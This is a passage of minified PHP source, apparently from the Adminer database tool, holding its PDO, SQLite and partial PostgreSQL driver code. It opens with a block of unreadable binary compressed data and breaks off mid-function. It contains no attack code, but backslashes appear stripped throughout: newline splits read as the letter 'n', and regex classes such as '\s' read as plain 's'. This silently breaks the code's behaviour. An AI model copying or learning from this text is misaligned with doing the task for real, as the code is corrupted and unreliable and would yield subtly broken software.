���(-!t�׃B�����b���b�H"����B}0D����I��a`zխ^~�$�y�7�VI�h>B��|��Bm���,��n���Zl��*�x�+̡��"6#��e�ۥ��J��L.A�7���6�͌ܜ/���ed6�A��d3G�q�� RŪ‡䤦��$�]���n���/��R���CI�m$P���d�x*lq%j\�OX���4i�gL�!nr$S�Ĺ.��N�'���]#dpDM��D\����� ���r��$2\Έ]��G"��^BbMr3#c��@���@��+�-2ֻ2�k���r�(�R��#�|��r��L";break;case"zh-tw":$f="�^��%ӕ\�r����|%��:�$ns�.e�UȸE9PK72�(�P�h)ʅ@�:i	%��c�Je �R)ܫ{��	Nd T�P���\��Õ8�C��f4����aS@/%��N����Nd�%гC��ɗB�Q+����B�_MK,�$���u��ow�f��T9�WK��ʏW����2mizX:P	�*��_/�g*eSLK�ۈ��ι^9�H�r���7��Zz>�����0)ȿN�n�r!U=R�n����^���J��T�O�](��I��^ܫ�]E�J4$yhr��2^?[��eC�r��^[#�k�֑g1'��)�T'9jB)#�,�%')n䪪�hV��d�=Oa�@�IBO���s�¦K���J��12A$�&�8mQd���lY�r�%�J�ԀD&��H�i�/r��U��w.�x].��2���ft(t	KS��?��2]��*�X!rB��]# �4��(�t��ek����Tr��{4Ǒ42��zF�@4C(��C@�:�t�㽔4�9O�x�3��(���9�����JP|t)!B�1�/�B�|GI\CD=z�%y�RQ s-�~W?��JQ]$���:�A(\�{�1�(M��ZS������<��(P9�*iXBJ��y<EAvt��C�dY+{G�e�P�mj�{_�����^��6C����↸��vs�|�s����GOޢ��D1T�\yjz���P�2��@t����S%��N%�+	6�k��A��~�)�"`A�����s$���6�fr�b�eU�xN*�`X'@]�0WVTu�-j�v��G��ϥ.r��9t�v?e�bݿQ�<^GXZ�x.�|�1ġ�D�a?�)^׹��P�=DD#i��`�92�A�M�L4rD3-Jў.Ϙ�(� 	sDF�n��M+qЂ�K%Bt��/�`��5rndN"	��{�Y�"q'�@����2���r���@9n+�2xD։r���X+rb�u���l0ZIj-`^xn!�4���0�`b�_�:\�s�u@ H`�^�z0ʶ�nr�$�f��٨�4���P:*Q�N	���X	b,e�����Y��h�5����)r��8������Jư|��n#��W	2����Kh�"����PE�D*��rD�R!����*�fXEh�iHBl9�:O��X09D��2��1J$:��n#1�q�����܈�L��(����3�"/��U)/&$��n6�)P���%�9�(9�0�B�Tʬ�*���@!��Y�0���v�� ��������!��GSZ��&�,L0!2`@˜R��:�ֵ���J�ĩQxj��~�XW�l�D&Țd�9�p�H�rY�'(�Ah�%ٜ()��s	�89���3e�o	�^�ÕN��s�H��4D�i��H�FX(�������&�ht�m�#��"���V��V�bZh����t�5�0Tn�2�P��	�����ȝ���Ot�>S��%� ���4Z��@(JU	�8P�T�*��B`E�L��Ҥ$h�&d�G���o��p]8F�Ƙ��9�D�RvEE��/�O��#4�Z:dޛ���H@��,��S�����x�ȕ�An�ڐ��y"��$0"������]aO���='��|ӡ�W�a�B��,�UcEn��	Uْ��Q�d�A4�*wp�LBV��Gf�_؉2ц�a,SES�8�<�2Ň8�M=01�t�зHs� F�.���s�Ӻ��\T딟1!��tL��>�Ԋ����Ą���jc6��tض����;Q���J�O�C	���K'N�`���8����}EQ����IfE�%ӄ�m�xKV�op�>���"|_�z��D��b��N	ŸM�trPDg=ɸ`��5ۘT��[����'�@[n\l�n� ����BH�ec�_�Q'&��:�	��V#,�㧎]���N���4�u��P����V�"\���`\�#H L>����s�H��0����V'2cb�ArI�w�.Ef�Ә�54����f$�9\{���Xp�;<0lX|���O���d������_�t"�rQZƍ�%�u�ަ���t�1��Ǐ%ŧ�%6���~�E#�f�h����ƒ]㯛��}�w���7�y\����|�����w�#�ރ���9�;O�[�g�DE�A#��{��X�]���x8��l��va˼w����[~nK��AҺ���&�N��'����0��э�!�C��!P5�"�vT%�n3����hP�l�%n�n��Lb��:��6��\�r7�>��"lV�_⨙ci���W,���H4�,�D�/Z�&a�������nCg-Cn,�nk�p����l�rp�t��k��M}rmr��0��PAP�^�,��nu�:!��梙b��'�7b��p��f�r&*a!��m}Q(��t��i��j/�T~*�2װ���p�]eB7J��x$pNf��<`B1-���1!�wnt�1n̍Cq�1f���q�f1LAQ����m<Oqzb��ԭ?'emM�m9�@�����)��I��1���F�q1�0��p�A���,	�r��h���l�~4g�N�݄0���r�ƍ���+2��D���<AH_AF�0��b�$0#k#��!�\����$�r�D�"�}��9rr:#�ق~5ƌJC(�$N$�8����Pn���Z�@�w�*�)ƧL&#�~^���,��%�A���8���mVzr3)Jt���_r좬Ό⚭	���/�8�"�u���R�����z,1�ZvnB�G#��$/Z�a`_O�����V����0-��O��yA�k&�%��Mv/ox��0��~p'6�2��~�.�p)�*�LX��� ���r�|.� }4�8��am�ti�.�1��2$��Bi^y����3S8]!&t~H��O�%®��B�1��L";break;}$wi=array();foreach(explode("n",lzw_decompress($f))as$X)$wi[]=(strpos($X,"t")?explode("t",$X):$X);return$wi;}if(!$wi){$wi=get_translations($ca);$_SESSION["translations"]=$wi;}if(extension_loaded('pdo')){class
Min_PDO{var$_result,$server_info,$affected_rows,$errno,$error,$pdo;function
__construct(){global$b;$hg=array_search("SQL",$b->operators);if($hg!==false)unset($b->operators[$hg]);}function
dsn($pc,$V,$F,$_f=array()){$_f[PDO::ATTR_ERRMODE]=PDO::ERRMODE_SILENT;$_f[PDO::ATTR_STATEMENT_CLASS]=array('Min_PDOStatement');try{$this->pdo=new
PDO($pc,$V,$F,$_f);}catch(Exception$Hc){auth_error(h($Hc->getMessage()));}$this->server_info=@$this->pdo->getAttribute(PDO::ATTR_SERVER_VERSION);}function
quote($P){return$this->pdo->quote($P);}function
query($G,$Ei=false){$H=$this->pdo->query($G);$this->error="";if(!$H){list(,$this->errno,$this->error)=$this->pdo->errorInfo();if(!$this->error)$this->error=lang(21);return
false;}$this->store_result($H);return$H;}function
multi_query($G){return$this->_result=$this->query($G);}function
store_result($H=null){if(!$H){$H=$this->_result;if(!$H)return
false;}if($H->columnCount()){$H->num_rows=$H->rowCount();return$H;}$this->affected_rows=$H->rowCount();return
true;}function
next_result(){if(!$this->_result)return
false;$this->_result->_offset=0;return@$this->_result->nextRowset();}function
result($G,$o=0){$H=$this->query($G);if(!$H)return
false;$J=$H->fetch();return$J[$o];}}class
Min_PDOStatement
extends
PDOStatement{var$_offset=0,$num_rows;function
fetch_assoc(){return$this->fetch(PDO::FETCH_ASSOC);}function
fetch_row(){return$this->fetch(PDO::FETCH_NUM);}function
fetch_field(){$J=(object)$this->getColumnMeta($this->_offset++);$J->orgtable=$J->table;$J->orgname=$J->name;$J->charsetnr=(in_array("blob",(array)$J->flags)?63:0);return$J;}}}$kc=array();function
add_driver($u,$D){global$kc;$kc[$u]=$D;}class
Min_SQL{var$_conn;function
__construct($g){$this->_conn=$g;}function
select($Q,$L,$Z,$sd,$Bf=array(),$_=1,$E=0,$pg=false){global$b,$y;$ce=(count($sd)<count($L));$G=$b->selectQueryBuild($L,$Z,$sd,$Bf,$_,$E);if(!$G)$G="SELECT".limit(($_GET["page"]!="last"&&$_!=""&&$sd&&$ce&&$y=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$L)."nFROM ".table($Q),($Z?"nWHERE ".implode(" AND ",$Z):"").($sd&&$ce?"nGROUP BY ".implode(", ",$sd):"").($Bf?"nORDER BY ".implode(", ",$Bf):""),($_!=""?+$_:null),($E?$_*$E:0),"n");$Fh=microtime(true);$I=$this->_conn->query($G);if($pg)echo$b->selectQuery($G,$Fh,!$I);return$I;}function
delete($Q,$zg,$_=0){$G="FROM ".table($Q);return
queries("DELETE".($_?limit1($Q,$G,$zg):" $G$zg"));}function
update($Q,$N,$zg,$_=0,$kh="n"){$Wi=array();foreach($N
as$z=>$X)$Wi[]="$z = $X";$G=table($Q)." SET$kh".implode(",$kh",$Wi);return
queries("UPDATE".($_?limit1($Q,$G,$zg,$kh):" $G$zg"));}function
insert($Q,$N){return
queries("INSERT INTO ".table($Q).($N?" (".implode(", ",array_keys($N)).")nVALUES (".implode(", ",$N).")":" DEFAULT VALUES"));}function
insertUpdate($Q,$K,$ng){return
false;}function
begin(){return
queries("BEGIN");}function
commit(){return
queries("COMMIT");}function
rollback(){return
queries("ROLLBACK");}function
slowQuery($G,$hi){}function
convertSearch($v,$X,$o){return$v;}function
value($X,$o){return(method_exists($this->_conn,'value')?$this->_conn->value($X,$o):(is_resource($X)?stream_get_contents($X):$X));}function
quoteBinary($ah){return
q($ah);}function
warnings(){return'';}function
tableHelp($D){}}$kc["sqlite"]="SQLite 3";$kc["sqlite2"]="SQLite 2";if(isset($_GET["sqlite"])||isset($_GET["sqlite2"])){define("DRIVER",(isset($_GET["sqlite"])?"sqlite":"sqlite2"));if(class_exists(isset($_GET["sqlite"])?"SQLite3":"SQLiteDatabase")){if(isset($_GET["sqlite"])){class
Min_SQLite{var$extension="SQLite3",$server_info,$affected_rows,$errno,$error,$_link;function
__construct($q){$this->_link=new
SQLite3($q);$Zi=$this->_link->version();$this->server_info=$Zi["versionString"];}function
query($G){$H=@$this->_link->query($G);$this->error="";if(!$H){$this->errno=$this->_link->lastErrorCode();$this->error=$this->_link->lastErrorMsg();return
false;}elseif($H->numColumns())return
new
Min_Result($H);$this->affected_rows=$this->_link->changes();return
true;}function
quote($P){return(is_utf8($P)?"'".$this->_link->escapeString($P)."'":"x'".reset(unpack('H*',$P))."'");}function
store_result(){return$this->_result;}function
result($G,$o=0){$H=$this->query($G);if(!is_object($H))return
false;$J=$H->_result->fetchArray();return$J[$o];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($H){$this->_result=$H;}function
fetch_assoc(){return$this->_result->fetchArray(SQLITE3_ASSOC);}function
fetch_row(){return$this->_result->fetchArray(SQLITE3_NUM);}function
fetch_field(){$d=$this->_offset++;$T=$this->_result->columnType($d);return(object)array("name"=>$this->_result->columnName($d),"type"=>$T,"charsetnr"=>($T==SQLITE3_BLOB?63:0),);}function
__desctruct(){return$this->_result->finalize();}}}else{class
Min_SQLite{var$extension="SQLite",$server_info,$affected_rows,$error,$_link;function
__construct($q){$this->server_info=sqlite_libversion();$this->_link=new
SQLiteDatabase($q);}function
query($G,$Ei=false){$Se=($Ei?"unbufferedQuery":"query");$H=@$this->_link->$Se($G,SQLITE_BOTH,$n);$this->error="";if(!$H){$this->error=$n;return
false;}elseif($H===true){$this->affected_rows=$this->changes();return
true;}return
new
Min_Result($H);}function
quote($P){return"'".sqlite_escape_string($P)."'";}function
store_result(){return$this->_result;}function
result($G,$o=0){$H=$this->query($G);if(!is_object($H))return
false;$J=$H->_result->fetch();return$J[$o];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($H){$this->_result=$H;if(method_exists($H,'numRows'))$this->num_rows=$H->numRows();}function
fetch_assoc(){$J=$this->_result->fetch(SQLITE_ASSOC);if(!$J)return
false;$I=array();foreach($J
as$z=>$X)$I[idf_unescape($z)]=$X;return$I;}function
fetch_row(){return$this->_result->fetch(SQLITE_NUM);}function
fetch_field(){$D=$this->_result->fieldName($this->_offset++);$cg='([.*]|"(?:[^"]|"")*"|(.+))';if(preg_match("~^($cg\.)?$cg$~",$D,$C)){$Q=($C[3]!=""?$C[3]:idf_unescape($C[2]));$D=($C[5]!=""?$C[5]:idf_unescape($C[4]));}return(object)array("name"=>$D,"orgname"=>$D,"orgtable"=>$Q,);}}}}elseif(extension_loaded("pdo_sqlite")){class
Min_SQLite
extends
Min_PDO{var$extension="PDO_SQLite";function
__construct($q){$this->dsn(DRIVER.":$q","","");}}}if(class_exists("Min_SQLite")){class
Min_DB
extends
Min_SQLite{function
__construct(){parent::__construct(":memory:");$this->query("PRAGMA foreign_keys = 1");}function
select_db($q){if(is_readable($q)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\]|:)~",$q)?$q:dirname($_SERVER["SCRIPT_FILENAME"])."/$q")." AS a")){parent::__construct($q);$this->query("PRAGMA foreign_keys = 1");$this->query("PRAGMA busy_timeout = 500");return
true;}return
false;}function
multi_query($G){return$this->_result=$this->query($G);}function
next_result(){return
false;}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$K,$ng){$Wi=array();foreach($K
as$N)$Wi[]="(".implode(", ",$N).")";return
queries("REPLACE INTO ".table($Q)." (".implode(", ",array_keys(reset($K))).") VALUESn".implode(",n",$Wi));}function
tableHelp($D){if($D=="sqlite_sequence")return"fileformat2.html#seqtab";if($D=="sqlite_master")return"fileformat2.html#$D";}}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){global$b;list(,,$F)=$b->credentials();if($F!="")return
lang(22);return
new
Min_DB;}function
get_databases(){return
array();}function
limit($G,$Z,$_,$kf=0,$kh=" "){return" $G$Z".($_!==null?$kh."LIMIT $_".($kf?" OFFSET $kf":""):"");}function
limit1($Q,$G,$Z,$kh="n"){global$g;return(preg_match('~^INTO~',$G)||$g->result("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($G,$Z,1,0,$kh):" $G WHERE rowid = (SELECT rowid FROM ".table($Q).$Z.$kh."LIMIT 1)");}function
db_collation($l,$nb){global$g;return$g->result("PRAGMA encoding");}function
engines(){return
array();}function
logged_user(){return
get_current_user();}function
tables_list(){return
get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name");}function
count_tables($k){return
array();}function
table_status($D=""){global$g;$I=array();foreach(get_rows("SELECT name AS Name, type AS Engine, 'rowid' AS Oid, '' AS Auto_increment FROM sqlite_master WHERE type IN ('table', 'view') ".($D!=""?"AND name = ".q($D):"ORDER BY name"))as$J){$J["Rows"]=$g->result("SELECT COUNT(*) FROM ".idf_escape($J["Name"]));$I[$J["Name"]]=$J;}foreach(get_rows("SELECT * FROM sqlite_sequence",null,"")as$J)$I[$J["name"]]["Auto_increment"]=$J["seq"];return($D!=""?$I[$D]:$I);}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){global$g;return!$g->result("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function
fields($Q){global$g;$I=array();$ng="";foreach(get_rows("PRAGMA table_info(".table($Q).")")as$J){$D=$J["name"];$T=strtolower($J["type"]);$Yb=$J["dflt_value"];$I[$D]=array("field"=>$D,"type"=>(preg_match('~int~i',$T)?"integer":(preg_match('~char|clob|text~i',$T)?"text":(preg_match('~blob~i',$T)?"blob":(preg_match('~real|floa|doub~i',$T)?"real":"numeric")))),"full_type"=>$T,"default"=>(preg_match("~'(.*)'~",$Yb,$C)?str_replace("''","'",$C[1]):($Yb=="NULL"?null:$Yb)),"null"=>!$J["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1),"primary"=>$J["pk"],);if($J["pk"]){if($ng!="")$I[$ng]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$T))$I[$D]["auto_increment"]=true;$ng=$D;}}$Ah=$g->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($Q));preg_match_all('~(("[^"]*+")+|[a-z0-9_]+)s+texts+COLLATEs+('[^']+'|S+)~i',$Ah,$Fe,PREG_SET_ORDER);foreach($Fe
as$C){$D=str_replace('""','"',preg_replace('~^"|"$~','',$C[1]));if($I[$D])$I[$D]["collation"]=trim($C[3],"'");}return$I;}function
indexes($Q,$h=null){global$g;if(!is_object($h))$h=$g;$I=array();$Ah=$h->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($Q));if(preg_match('~bPRIMARYs+KEYs*((([^)"]+|"[^"]*"|`[^`]*`)++)~i',$Ah,$C)){$I[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+|(?:`[^`]*+`)+)|(S+))(s+(ASC|DESC))?(,s*|$)~i',$C[1],$Fe,PREG_SET_ORDER);foreach($Fe
as$C){$I[""]["columns"][]=idf_unescape($C[2]).$C[4];$I[""]["descs"][]=(preg_match('~DESC~i',$C[5])?'1':null);}}if(!$I){foreach(fields($Q)as$D=>$o){if($o["primary"])$I[""]=array("type"=>"PRIMARY","columns"=>array($D),"lengths"=>array(),"descs"=>array(null));}}$Dh=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($Q),$h);foreach(get_rows("PRAGMA index_list(".table($Q).")",$h)as$J){$D=$J["name"];$w=array("type"=>($J["unique"]?"UNIQUE":"INDEX"));$w["lengths"]=array();$w["descs"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($D).")",$h)as$Zg){$w["columns"][]=$Zg["name"];$w["descs"][]=null;}if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($D).' ON '.idf_escape($Q),'~').' ((.*))$~i',$Dh[$D],$Jg)){preg_match_all('/("[^"]*+")+( DESC)?/',$Jg[2],$Fe);foreach($Fe[2]as$z=>$X){if($X)$w["descs"][$z]='1';}}if(!$I[""]||$w["type"]!="UNIQUE"||$w["columns"]!=$I[""]["columns"]||$w["descs"]!=$I[""]["descs"]||!preg_match("~^sqlite_~",$D))$I[$D]=$w;}return$I;}function
foreign_keys($Q){$I=array();foreach(get_rows("PRAGMA foreign_key_list(".table($Q).")")as$J){$r=&$I[$J["id"]];if(!$r)$r=$J;$r["source"][]=$J["from"];$r["target"][]=$J["to"];}return$I;}function
view($D){global$g;return
array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* ASs+~iU','',$g->result("SELECT sql FROM sqlite_master WHERE name = ".q($D))));}function
collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function
information_schema($l){return
false;}function
error(){global$g;return
h($g->error);}function
check_sqlite_name($D){global$g;$Qc="db|sdb|sqlite";if(!preg_match("~^[^\0]*\.($Qc)$~",$D)){$g->error=lang(23,str_replace("|",", ",$Qc));return
false;}return
true;}function
create_database($l,$mb){global$g;if(file_exists($l)){$g->error=lang(24);return
false;}if(!check_sqlite_name($l))return
false;try{$A=new
Min_SQLite($l);}catch(Exception$Hc){$g->error=$Hc->getMessage();return
false;}$A->query('PRAGMA encoding = "UTF-8"');$A->query('CREATE TABLE adminer (i)');$A->query('DROP TABLE adminer');return
true;}function
drop_databases($k){global$g;$g->__construct(":memory:");foreach($k
as$l){if(!@unlink($l)){$g->error=lang(24);return
false;}}return
true;}function
rename_database($D,$mb){global$g;if(!check_sqlite_name($D))return
false;$g->__construct(":memory:");$g->error=lang(24);return@rename(DB,$D);}function
auto_increment(){return" PRIMARY KEY".(DRIVER=="sqlite"?" AUTOINCREMENT":"");}function
alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){global$g;$Pi=($Q==""||$hd);foreach($p
as$o){if($o[0]!=""||!$o[1]||$o[2]){$Pi=true;break;}}$c=array();$Kf=array();foreach($p
as$o){if($o[1]){$c[]=($Pi?$o[1]:"ADD ".implode($o[1]));if($o[0]!="")$Kf[$o[0]]=$o[1][0];}}if(!$Pi){foreach($c
as$X){if(!queries("ALTER TABLE ".table($Q)." $X"))return
false;}if($Q!=$D&&!queries("ALTER TABLE ".table($Q)." RENAME TO ".table($D)))return
false;}elseif(!recreate_table($Q,$D,$c,$Kf,$hd,$La))return
false;if($La){queries("BEGIN");queries("UPDATE sqlite_sequence SET seq = $La WHERE name = ".q($D));if(!$g->affected_rows)queries("INSERT INTO sqlite_sequence (name, seq) VALUES (".q($D).", $La)");queries("COMMIT");}return
true;}function
recreate_table($Q,$D,$p,$Kf,$hd,$La,$x=array()){global$g;if($Q!=""){if(!$p){foreach(fields($Q)as$z=>$o){if($x)$o["auto_increment"]=0;$p[]=process_field($o,$o);$Kf[$z]=idf_escape($z);}}$og=false;foreach($p
as$o){if($o[6])$og=true;}$nc=array();foreach($x
as$z=>$X){if($X[2]=="DROP"){$nc[$X[1]]=true;unset($x[$z]);}}foreach(indexes($Q)as$ie=>$w){$e=array();foreach($w["columns"]as$z=>$d){if(!$Kf[$d])continue
2;$e[]=$Kf[$d].($w["descs"][$z]?" DESC":"");}if(!$nc[$ie]){if($w["type"]!="PRIMARY"||!$og)$x[]=array($w["type"],$ie,$e);}}foreach($x
as$z=>$X){if($X[0]=="PRIMARY"){unset($x[$z]);$hd[]="  PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($Q)as$ie=>$r){foreach($r["source"]as$z=>$d){if(!$Kf[$d])continue
2;$r["source"][$z]=idf_unescape($Kf[$d]);}if(!isset($hd[" $ie"]))$hd[]=" ".format_foreign_key($r);}queries("BEGIN");}foreach($p
as$z=>$o)$p[$z]="  ".implode($o);$p=array_merge($p,array_filter($hd));$bi=($Q==$D?"adminer_$D":$D);if(!queries("CREATE TABLE ".table($bi)." (n".implode(",n",$p)."n)"))return
false;if($Q!=""){if($Kf&&!queries("INSERT INTO ".table($bi)." (".implode(", ",$Kf).") SELECT ".implode(", ",array_map('idf_escape',array_keys($Kf)))." FROM ".table($Q)))return
false;$Bi=array();foreach(triggers($Q)as$_i=>$ii){$zi=trigger($_i);$Bi[]="CREATE TRIGGER ".idf_escape($_i)." ".implode(" ",$ii)." ON ".table($D)."n$zi[Statement]";}$La=$La?0:$g->result("SELECT seq FROM sqlite_sequence WHERE name = ".q($Q));if(!queries("DROP TABLE ".table($Q))||($Q==$D&&!queries("ALTER TABLE ".table($bi)." RENAME TO ".table($D)))||!alter_indexes($D,$x))return
false;if($La)queries("UPDATE sqlite_sequence SET seq = $La WHERE name = ".q($D));foreach($Bi
as$zi){if(!queries($zi))return
false;}queries("COMMIT");}return
true;}function
index_sql($Q,$T,$D,$e){return"CREATE $T ".($T!="INDEX"?"INDEX ":"").idf_escape($D!=""?$D:uniqid($Q."_"))." ON ".table($Q)." $e";}function
alter_indexes($Q,$c){foreach($c
as$ng){if($ng[0]=="PRIMARY")return
recreate_table($Q,$Q,array(),array(),array(),0,$c);}foreach(array_reverse($c)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($Q,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return
false;}return
true;}function
truncate_tables($S){return
apply_queries("DELETE FROM",$S);}function
drop_views($bj){return
apply_queries("DROP VIEW",$bj);}function
drop_tables($S){return
apply_queries("DROP TABLE",$S);}function
move_tables($S,$bj,$Zh){return
false;}function
trigger($D){global$g;if($D=="")return
array("Statement"=>"BEGINnt;nEND");$v='(?:[^`"s]+|`[^`]*`|"[^"]*")+';$Ai=trigger_options();preg_match("~^CREATE\s+TRIGGER\s*$v\s*(".implode("|",$Ai["Timing"]).")\s+([a-z]+)(?:\s+OF\s+($v))?\s+ON\s*$v\s*(?:FOR\s+EACH\s+ROW\s)?(.*)~is",$g->result("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($D)),$C);$jf=$C[3];return
array("Timing"=>strtoupper($C[1]),"Event"=>strtoupper($C[2]).($jf?" OF":""),"Of"=>idf_unescape($jf),"Trigger"=>$D,"Statement"=>$C[4],);}function
triggers($Q){$I=array();$Ai=trigger_options();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($Q))as$J){preg_match('~^CREATEs+TRIGGERs*(?:[^`"s]+|`[^`]*`|"[^"]*")+s*('.implode("|",$Ai["Timing"]).')s*(.*?)s+ONb~i',$J["sql"],$C);$I[$J["name"]]=array($C[1],$C[2]);}return$I;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
begin(){return
queries("BEGIN");}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ROWID()");}function
explain($g,$G){return$g->query("EXPLAIN QUERY PLAN $G");}function
found_rows($R,$Z){}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($dh){return
true;}function
create_sql($Q,$La,$Kh){global$g;$I=$g->result("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($Q));foreach(indexes($Q)as$D=>$w){if($D=='')continue;$I.=";nn".index_sql($Q,$w['type'],$D,"(".implode(", ",array_map('idf_escape',$w['columns'])).")");}return$I;}function
truncate_sql($Q){return"DELETE FROM ".table($Q);}function
use_sql($j){}function
trigger_sql($Q){return
implode(get_vals("SELECT sql || ';;n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($Q)));}function
show_variables(){global$g;$I=array();foreach(array("auto_vacuum","cache_size","count_changes","default_cache_size","empty_result_callbacks","encoding","foreign_keys","full_column_names","fullfsync","journal_mode","journal_size_limit","legacy_file_format","locking_mode","page_size","max_page_count","read_uncommitted","recursive_triggers","reverse_unordered_selects","secure_delete","short_column_names","synchronous","temp_store","temp_store_directory","schema_version","integrity_check","quick_check")as$z)$I[$z]=$g->result("PRAGMA $z");return$I;}function
show_status(){$I=array();foreach(get_vals("PRAGMA compile_options")as$zf){list($z,$X)=explode("=",$zf,2);$I[$z]=$X;}return$I;}function
convert_field($o){}function
unconvert_field($o,$I){return$I;}function
support($Vc){return
preg_match('~^(columns|database|drop_col|dump|indexes|descidx|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Vc);}function
driver_config(){$U=array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0);return
array('possible_drivers'=>array((isset($_GET["sqlite"])?"SQLite3":"SQLite"),"PDO_SQLite"),'jush'=>"sqlite",'types'=>$U,'structured_types'=>array_keys($U),'unsigned'=>array(),'operators'=>array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL"),'functions'=>array("hex","length","lower","round","unixepoch","upper"),'grouping'=>array("avg","count","count distinct","group_concat","max","min","sum"),'edit_functions'=>array(array(),array("integer|real|numeric"=>"+/-","text"=>"||",)),);}}$kc["pgsql"]="PostgreSQL";if(isset($_GET["pgsql"])){define("DRIVER","pgsql");if(extension_loaded("pgsql")){class
Min_DB{var$extension="PgSQL",$_link,$_result,$_string,$_database=true,$server_info,$affected_rows,$error,$timeout;function
_error($Cc,$n){if(ini_bool("html_errors"))$n=html_entity_decode(strip_tags($n));$n=preg_replace('~^[^:]*: ~','',$n);$this->error=$n;}function
connect($M,$V,$F){global$b;$l=$b->database();set_error_handler(array($this,'_error'));$this->_string="host='".str_replace(":","' port='",addcslashes($M,"'\"))."' user='".addcslashes($V,"'\")."' password='".addcslashes($F,"'\")."'";$this->_link=@pg_connect("$this->_string dbname='".($l!=""?addcslashes($l,"'\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->_link&&$l!=""){$this->_database=false;$this->_link=@pg_connect("$this->_string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->_link){$Zi=pg_version($this->_link);$this->server_info=$Zi["server"];pg_set_client_encoding($this->_link,"UTF8");}return(bool)$this->_link;}function
quote($P){return"'".pg_escape_string($this->_link,$P)."'";}function
value($X,$o){return($o["type"]=="bytea"&&$X!==null?pg_unescape_bytea($X):$X);}function
quoteBinary($P){return"'".pg_escape_bytea($this->_link,$P)."'";}function
select_db($j){global$b;if($j==$b->database())return$this->_database;$I=@pg_connect("$this->_string dbname='".addcslashes($j,"'\")."'",PGSQL_CONNECT_FORCE_NEW);if($I)$this->_link=$I;return$I;}function
close(){$this->_link=@pg_connect("$this->_string dbname='postgres'");}function
query($G,$Ei=false){$H=@pg_query($this->_link,$G);$this->error="";if(!$H){$this->error=pg_last_error($this->_link);$I=false;}elseif(!pg_num_fields($H)){$this->affected_rows=pg_affected_rows($H);$I=true;}else$I=new
Min_Result($H);if($this->timeout){$this->timeout=0;$this->query("RESET statement_timeout");}return$I;}function
multi_query($G){return$this->_result=$this->query($G);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($G,$o=0){$H=$this->query($G);if(!$H||!$H->num_rows)return
false;return
pg_fetch_result($H->_result,0,$o);}function
warnings(){return
h(pg_last_notice($this->_link));}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($H){$this->_result=$H;$this->num_rows=pg_num_rows($H);}function
fetch_assoc(){return
pg_fetch_assoc($this->_result);}function
fetch_row(){return
pg_fetch_row($this->_result);}function
fetch_field(){$d=$this->_offset++;$I=new
stdClass;if(function_exists('pg_field_table'))$I->orgtable=pg_field_table($this->_result,$d);$I->name=pg_field_name($this->_result,$d);$I->orgname=$I->name;$I->type=pg_field_type($this->_result,$d);$I->charsetnr=($I->type=="bytea"?63:0);return$I;}function
__destruct(){pg_free_result($this->_result);}}}elseif(extension_loaded("pdo_pgsql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_PgSQL",$timeout;function
connect($M,$V,$F){global$b;$l=$b->database();$this->dsn("pgsql:host='".str_replace(":","' port='",addcslashes($M,"'\"))."' client_encoding=utf8 dbname='".($l!=""?addcslashes($l,"'\"):"postgres")."'",$V,$F);return
true;}function
select_db($j){global$b;return($b->database()==$j);}function
quoteBinary($ah){return
q($ah);}function
query($G,$Ei=false){$I=parent::query($G,$Ei);if($this->timeout){$this->timeout=0;parent::query("RESET statement_timeout");}return$I;}function
warnings(){return'';}function
close(){}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$K,$ng){global$g;foreach($K
as$N){$Li=array();$Z=array();foreach($N
as$z=>$X){$Li[]="$z = $X";if(isset($ng[idf_unescape($z)]))$Z[]="$z = $X";}if(!(($Z&&queries("UPDATE ".table($Q)." SET ".implode(", ",$Li)." WHERE ".implode(" AND ",$Z))&&$g->affected_rows)||queries("INSERT INTO ".table($Q)." (".implode(", ",array_keys($N)).") VALUES (".implode(", ",$N).")")))return
false;}return
true;}function
